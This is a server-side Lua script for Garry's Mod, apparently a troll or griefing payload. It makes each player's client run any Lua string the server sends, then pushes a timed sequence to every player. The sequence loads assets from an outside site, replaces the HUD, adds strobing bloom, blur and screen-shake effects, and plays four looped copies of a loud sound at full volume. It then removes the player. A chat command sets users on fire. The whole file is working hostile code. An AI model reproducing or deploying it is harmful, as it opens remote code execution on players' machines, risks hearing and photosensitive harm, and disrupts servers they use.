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  1. util.AddNetworkString "slua"
  2.  
  3. local lol = {}
  4. function lol:RandomString( intMin, intMax )
  5. local ret = ""
  6. for _ = 1, math.random( intMin, intMax ) do
  7. ret = ret.. string.char( math.random(65, 90) )
  8. end
  9.  
  10. return ret
  11. end
  12.  
  13. lol.m_tblActions = {}
  14. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  15. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  16.  
  17. function lol:PushAction( intChainDelay, func )
  18. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  19. end
  20.  
  21. function lol:NextAction( pPlayer )
  22. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  23. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  24.  
  25. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  26. if not IsValid( pPlayer ) then return end
  27. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  28. self:NextAction( pPlayer )
  29. end )
  30. end
  31.  
  32. function lol:Start( pPlayer )
  33. pPlayer.m_intCurAction = 0
  34. self:NextAction( pPlayer )
  35. end
  36.  
  37. function lol:SendLua( pPlayer, strLua )
  38. net.Start( "slua" )
  39. net.WriteString( strLua )
  40. net.Send( pPlayer )
  41. end
  42.  
  43. function lol:SetupPlayer( pPlayer )
  44. pPlayer:SendLua( "net.Receive(\"slua\", function() RunString(net.ReadString()) end)" )
  45. end
  46.  
  47. for k, v in pairs( player.GetAll() ) do
  48. lol:SetupPlayer( v )
  49. timer.Simple( 2, function() lol:Start( v ) end )
  50. end
  51.  
  52. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  53. lol:SetupPlayer( pPlayer )
  54. timer.Simple( 10, function() lol:Start( pPlayer ) end )
  55. end )
  56.  
  57. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  58. if strText:sub( 1, 5 ) == "/1337" then
  59. pSender:Ignite( 1e9 )
  60. pSender:ChatPrint( "lol jk" )
  61. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  62. return false
  63. end
  64. end )
  65.  
  66.  
  67.  
  68. --Sequence stack
  69. --Start some tunes and steam in our assets
  70. lol:PushAction( 0, function( pPlayer )
  71. lol:SendLua( pPlayer, ([=[
  72. sound.PlayURL( "http://www.underdone.org/leak/underdone/blue.mp3", "", function()end )
  73.  
  74. g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  75. local html = [[%s]]
  76. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  77. local pnl = vgui.Create( "HTML" )
  78. pnl:SetPos( ScrW() -1, ScrH() -1 )
  79. pnl:SetVisible( true )
  80. pnl:SetMouseInputEnabled( false )
  81. pnl:SetKeyBoardInputEnabled( false )
  82. pnl:SetSize( intSizeX, intSizeY )
  83. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  84.  
  85. local PageLoaded
  86. PageLoaded = function()
  87. local mat = pnl:GetHTMLMaterial()
  88. if mat then
  89. g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  90. return
  91. end
  92.  
  93. timer.Simple( 0.5, PageLoaded )
  94. end
  95.  
  96. PageLoaded()
  97. end
  98.  
  99. LoadWebMaterial( "http://www.underdone.org/leak/underdone/hud.png", "hud1", 300, 128 )
  100. LoadWebMaterial( "http://www.underdone.org/leak/underdone/hud2.png", "hud2", 300, 128 )
  101. LoadWebMaterial( "http://www.underdone.org/leak/underdone/hud3.png", "hud3", 128, 128 )
  102. LoadWebMaterial( "http://www.underdone.org/leak/underdone/xhair.png", "xhair", 64, 64 )
  103. LoadWebMaterial( "http://www.underdone.org/leak/underdone/doritos.png", "doritos", 183, 256 )
  104. LoadWebMaterial( "http://www.underdone.org/leak/underdone/fedora.png", "fedora", 256, 256 )
  105. LoadWebMaterial( "http://www.underdone.org/leak/underdone/dew.png", "dew", 110, 256 )
  106. LoadWebMaterial( "http://www.underdone.org/leak/underdone/awp.png", "awp", 256, 55 )
  107. ]=]):format(lol.m_strImageLoadHTML) )
  108. end )
  109.  
  110. --HUD swap
  111. lol:PushAction( 31, function( pPlayer )
  112. lol:SendLua( pPlayer, [[
  113. (GAMEMODE or GM).CalcView = function() end
  114. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  115.  
  116. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  117. for k, v in pairs(remove) do
  118. hook.GetTable()[v] = {}
  119. end
  120.  
  121. local function GetWebMat( strURL )
  122. return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
  123. end
  124.  
  125. hook.Add( "HUDPaint", "newhud", function()
  126. surface.SetDrawColor( 255, 255, 255, 255 )
  127.  
  128. if GetWebMat( "hud1" ) then
  129. surface.SetMaterial( GetWebMat("hud1")[1] )
  130. surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
  131. end
  132. if GetWebMat( "hud2" ) then
  133. surface.SetMaterial( GetWebMat("hud2")[1] )
  134. surface.DrawTexturedRect( ScrW() -300, ScrH() -128, 300 *(512 /300), 128 )
  135. end
  136. if GetWebMat( "hud3" ) then
  137. surface.SetMaterial( GetWebMat("hud3")[1] )
  138. surface.DrawTexturedRect( 45, ScrH() -245, 128, 128 )
  139. end
  140. if GetWebMat( "xhair" ) then
  141. surface.SetMaterial( GetWebMat("xhair")[1] )
  142. surface.DrawTexturedRect( (ScrW() /2) -32, (ScrH() /2) -32, 64, 64 )
  143. end
  144.  
  145. if GetWebMat( "doritos" ) then
  146. surface.SetMaterial( GetWebMat("doritos")[1] )
  147. surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 183 *(256 /183), 256, CurTime() *512 )
  148. end
  149. if GetWebMat( "dew" ) then
  150. surface.SetMaterial( GetWebMat("dew")[1] )
  151. surface.DrawTexturedRectRotated( math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 110 *((256 /110) -1), 256, CurTime() *-512 )
  152. end
  153. if GetWebMat( "fedora" ) then
  154. surface.SetMaterial( GetWebMat("fedora")[1] )
  155. surface.DrawTexturedRectRotated( ScrW() -math.random(250, 260), math.random(250, 260), 256, 256, CurTime() *-512 )
  156. end
  157. if GetWebMat( "awp" ) then
  158. surface.SetMaterial( GetWebMat("awp")[1] )
  159. surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 256, 55, CurTime() *512 )
  160. end
  161.  
  162. draw.SimpleTextOutlined(
  163. "cPanel",
  164. "DermaLarge",
  165. ScrW() /2 +math.random( -8, 8 ),
  166. ScrH() /2 +math.random( -8, 8 ) +64,
  167. Color( 0, 250, 0, 255 ),
  168. TEXT_ALIGN_CENTER,
  169. TEXT_ALIGN_CENTER,
  170. 1,
  171. Color( 250, 0, 0, 255 )
  172. )
  173. end )
  174.  
  175. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  176. hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  177.  
  178. surface.PlaySound( "garrysmod/save_load4.wav" )
  179. surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
  180. ]] )
  181. end )
  182.  
  183. --Disco time
  184. lol:PushAction( 10, function( pPlayer )
  185. local idx = pPlayer:EntIndex()
  186. timer.Create( "beat".. idx, 0.42, 0, function()
  187. if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
  188. pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
  189. end )
  190.  
  191.  
  192. lol:SendLua( pPlayer, [[
  193. local emitter = ParticleEmitter( LocalPlayer():GetPos() )
  194. local time = 0
  195.  
  196. hook.Add( "Think", "wat", function()
  197. if CurTime() < time then
  198. return
  199. end
  200.  
  201. time = CurTime() +0.05
  202. for i = 1, 16 do
  203. local part = emitter:Add(
  204. "particles/balloon_bit",
  205. LocalPlayer():GetPos() +Vector(
  206. math.random( -256, 256 ),
  207. math.random( -256, 256 ),
  208. 256
  209. )
  210. )
  211.  
  212. if part then
  213. local Size = math.random( 4, 7 )
  214.  
  215. part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
  216. part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
  217. part:SetDieTime( 4.5 )
  218. part:SetGravity( Vector(40, 0, -250) )
  219. part:SetLifeTime( 0 )
  220. part:SetStartSize( Size /2 )
  221. part:SetEndSize( Size )
  222. part:SetCollide( true )
  223. end
  224. end
  225. end )
  226. ]] )
  227.  
  228. lol:SendLua( pPlayer, [[
  229. hook.Add( "RenderScreenspaceEffects", "wat", function()
  230. local sinScaler = math.sin( CurTime() )
  231. DrawBloom(
  232. 0,
  233. 3,
  234. sinScaler *math.Rand(1, 8),
  235. sinScaler *math.Rand(1, 8),
  236. 6,
  237. math.Rand(0.5, 2),
  238. math.Rand(0, 0.3),
  239. math.Rand(0, 0.3),
  240. math.Rand(0.5, 1)
  241. )
  242.  
  243. DrawColorModify{
  244. ["$pp_colour_addr"] = 0,
  245. ["$pp_colour_addg"] = 0,
  246. ["$pp_colour_addb"] = 00,
  247. ["$pp_colour_brightness" ] = 0,
  248. ["$pp_colour_contrast" ] = 1,
  249. ["$pp_colour_colour" ] = 1,
  250. ["$pp_colour_mulr" ] = 0,
  251. ["$pp_colour_mulg" ] = 0,
  252. ["$pp_colour_mulb" ] = 1
  253. }
  254. end )
  255.  
  256. local mdl = ClientsideModel( "models/player/breen.mdl", RENDERGROUP_BOTH )
  257. mdl:SetNoDraw( true )
  258. local posCache, time = {}, 0
  259.  
  260. hook.Add( "HUDPaint", "dance", function()
  261. if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
  262. local idx = mdl:LookupSequence("taunt_dance")
  263. mdl.SeqDuration = mdl:SequenceDuration( idx )
  264. mdl.SeqStart = CurTime()
  265. mdl:ResetSequence( idx )
  266. end
  267.  
  268. mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
  269.  
  270.  
  271. local w, h = 300, 300
  272. local ang = Angle( 0, 0, 0 )
  273.  
  274. for i = 1, 32 do
  275. if CurTime() > time then
  276. posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
  277. end
  278. local x, y = posCache[i][1], posCache[i][2]
  279.  
  280. cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
  281. cam.IgnoreZ( true )
  282. render.SuppressEngineLighting( true )
  283.  
  284. render.SetLightingOrigin( mdl:GetPos() )
  285. render.ResetModelLighting( 1, 1, 1 )
  286. render.SetColorModulation( 0, 0, 1 )
  287.  
  288. mdl:DrawModel()
  289.  
  290. render.SuppressEngineLighting( false )
  291. cam.IgnoreZ( false )
  292. cam.End3D()
  293. end
  294.  
  295. if CurTime() > time then
  296. time = CurTime() +0.15
  297. end
  298. end )
  299.  
  300. surface.PlaySound( "vo/npc/male01/ohno.wav" )
  301. ]] )
  302. end )
  303.  
  304. --Let the beat drop
  305. lol:PushAction( 54, function( pPlayer )
  306. lol:SendLua( pPlayer, [[
  307. hook.Add( "GetMotionBlurValues", "wat", function()
  308. return 0, 0, 1, math.sin(CurTime() *13)
  309. end )
  310.  
  311. hook.Add( "RenderScreenspaceEffects", "ohgod", function()
  312. local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
  313. DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
  314. DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
  315. end )
  316.  
  317. hook.Add( "PostDrawTranslucentRenderables", "ohgod", function()
  318. render.SetMaterial( Material("cable/blue_elec") )
  319. for i = 1, 32 do
  320. render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
  321. end
  322. end )
  323.  
  324. timer.Create( "thedrop", 0.42, 0, function()
  325. util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 )
  326. end )
  327. ]] )
  328. end )
  329.  
  330. --EVIL TIME rip headpones
  331. lol:PushAction( 175, function( pPlayer )
  332. lol:SendLua( pPlayer, [[
  333. surface.PlaySound( "vo/npc/male01/gethellout.wav" )
  334.  
  335. local sounds = {}
  336. for i = 1, 4 do
  337. sound.PlayURL( "http://www.underdone.org/leak/underdone/asd.mp3", "noblock noplay", function( pChan )
  338. sounds[#sounds +1] = pChan
  339. end )
  340. end
  341.  
  342. timer.Create( "asdf", 1, 0, function()
  343. if #sounds ~= 4 then return end
  344. timer.Destroy( "asdf" )
  345. for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
  346. end )
  347.  
  348. hook.Add( "HUDShouldDraw", "newhud", function() return false end )
  349. ]] )
  350.  
  351. pPlayer:Remove()
  352. end )
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